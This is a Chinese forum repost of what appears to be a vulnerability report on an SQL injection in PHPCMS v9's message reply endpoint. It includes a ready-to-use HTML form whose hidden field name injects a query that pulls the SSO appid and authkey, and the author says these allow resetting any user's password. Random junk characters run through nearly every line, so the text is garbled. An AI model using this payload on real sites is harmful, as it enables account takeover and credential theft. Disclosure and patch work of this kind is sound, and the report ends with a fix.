|
|
简要描述:; G. O, E& k7 P2 N, L
8 w# ^0 D, F* G% V% j( k: b- q第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
4 C7 c6 H; x4 F" \" a
5 j! _; O" q+ l* n& n3 \明天再更新下一个漏洞。1 ^5 B* h6 ]! z& v* [1 N; U$ v
详细说明:
; o8 K8 m- @4 k, S) O3 R% c" o在/phpcms9/phpcms/modules/message/index.php中有代码如下:
2 H. s" ?# a8 m3 {) X2 P7 F- G0 U1 Q9 K& F" A* g# c
$messageid = $this->message_db->insert($_POST['info'],true);
( C( U- K, P X1 M H- T7 \2 O+ ~ b& k3 {5 X3 C7 [3 Q
) N0 i O9 I! k) `1 ~3 \
insert方法是key value的,代码如下:7 P) }( o. a" P% i( w7 W1 p
" `3 h- k, @& v4 Gpublic function insert($data, $table, $return_insert_id = false, $replace = false) {: L" _% l* X% k. T
if(!is_array( $data ) || $table == '' || count($data) == 0) {
( k" B H3 M! X3 s4 @( S return false;$ a+ b- E9 S. A( h( x* v+ Z# j: Z
}# i" ~! s: E. t, e' R
8 {+ B7 H' H1 g2 u+ [
$fielddata = array_keys($data);" V. x9 ]6 n6 {+ N4 M- ^! E8 e
$valuedata = array_values($data);) }2 ^5 O2 l; C* I, [
array_walk($fielddata, array($this, 'add_special_char'));
/ {: P1 g6 l S array_walk($valuedata, array($this, 'escape_string'));
8 u+ i' D8 p) G - q0 _- y+ h5 ?3 w- W
$field = implode (',', $fielddata);
( H# c9 U6 }2 O $value = implode (',', $valuedata);: G4 G) P& S4 J# M
0 P% a0 W: X/ ^& ]$ S' A $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';8 `+ R( K9 W, t! e$ K
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';2 r; @* J% B+ N) M1 v z- {( F9 `0 X) ~
$return = $this->execute($sql);9 J) T, ^: I$ L/ u! J b
return $return_insert_id ? $this->insert_id() : $return;
5 F8 |$ d# D. X0 u }
' n& J' b) D1 k6 b, f' J3 N* S+ q: V M
6 t/ n. p3 t. _7 X: Z嗯,很遗憾的是$ \2 B4 p3 E# o: q# } I+ x
4 U7 M" J# R; [( L3 _8 g: c9 R
array_walk($fielddata, array($this, 'add_special_char'));( T* X0 }: L* [
1 A. o+ r1 u3 j& I Q
- t; l# H" u& e) q- v
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。$ U, b# O1 F, q) D, @! P8 i2 M
. [* l# f! k7 H* ]5 |8 U% W3 ]: w% ^
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
8 h: {) i9 T! }* j) T# W
" P! t3 M0 M O {漏洞证明:9 I! q K4 j. t& |# A
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
# }& s0 b5 A) p: n& H% J
% F/ J& Z; o# `$ x% G, P8 Z0 F/ {
) ^6 X! p V; B; `7 y表单如下:用户名什么的得自己改一改。: }+ P) C$ g# q. p
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
2 C- @: w: }5 S) P2 V6 C- ^% s. m' _<table width="100%" cellspacing="0" class="table_form">* f! [/ O/ W* Y9 t$ |7 }$ \- G
<tr>5 N- {- F& i" k8 M1 T/ p" v5 S
<th>标 题:</th>
5 {! ]! k1 ~+ ?0 ?+ B$ ~<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
4 Y9 _1 g( m% t3 L; X</tr>
/ t; P- a0 N6 [7 U<tr>
; A" T0 h. ~2 k* X/ L7 l0 E<th>内 容:</th>* F4 Q2 v" u- x
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
" _4 T9 q/ Z h; r: G; i9 E</tr>
4 u% T M# m" M; e# f+ T4 q<input type="hidden" name="info[replyid]" value="2" /> ! H/ V* s6 E& E9 x
<input type="hidden" name="info[send_to_id]" value="cc" />
. o4 {# x& N* j8 ^0 a<input type="hidden" name="info[send_from_id]" value="hh"> O1 o$ A# X1 A2 {
<!-- 漏洞的利用重点在这里开始 -->$ n5 b! t5 r }2 Y
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
; H' w9 ^# u: Z7 u<!-- 漏洞的利用重点在这里结束 -->
9 x9 U8 A! T1 F: B' @3 B% a<tr>
& v! e, o9 U0 ~5 S3 V1 {- M<th>验证码:</th>1 j R0 H: l: u* ?9 e$ N+ f, u/ K
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
( O& g& P0 }. S$ k</tr>
/ q% F5 F: M0 ?2 e( @7 @) W<tr>
& C [. E3 z" [$ y- ]/ W+ v<td></td>$ W$ @; d* \" p# I2 B: A+ g1 l# _
<td colspan="2"><label>' `! g. L& M5 z$ l+ Y/ y
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
/ ~* O0 _$ m( v" u</label></td>* Q* Z* A/ ^ a6 \3 E& x) a
</tr>
5 b- S9 k) q, p" O7 x# ]+ @9 b4 S</table>
8 j0 W! Q$ P, q V5 [% Q! X+ ]</form>
, a8 O0 n; Q5 ]' e在add_special_char函数内对key做过滤就可以了。- O+ m: W- q; Y& b/ b( s
$ m0 z9 [1 Y" Q; u0 Z
1 o6 @* Q6 J/ ?% R8 c- Y6 q0 @7 o2 s3 K+ o0 \0 a+ `5 |
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|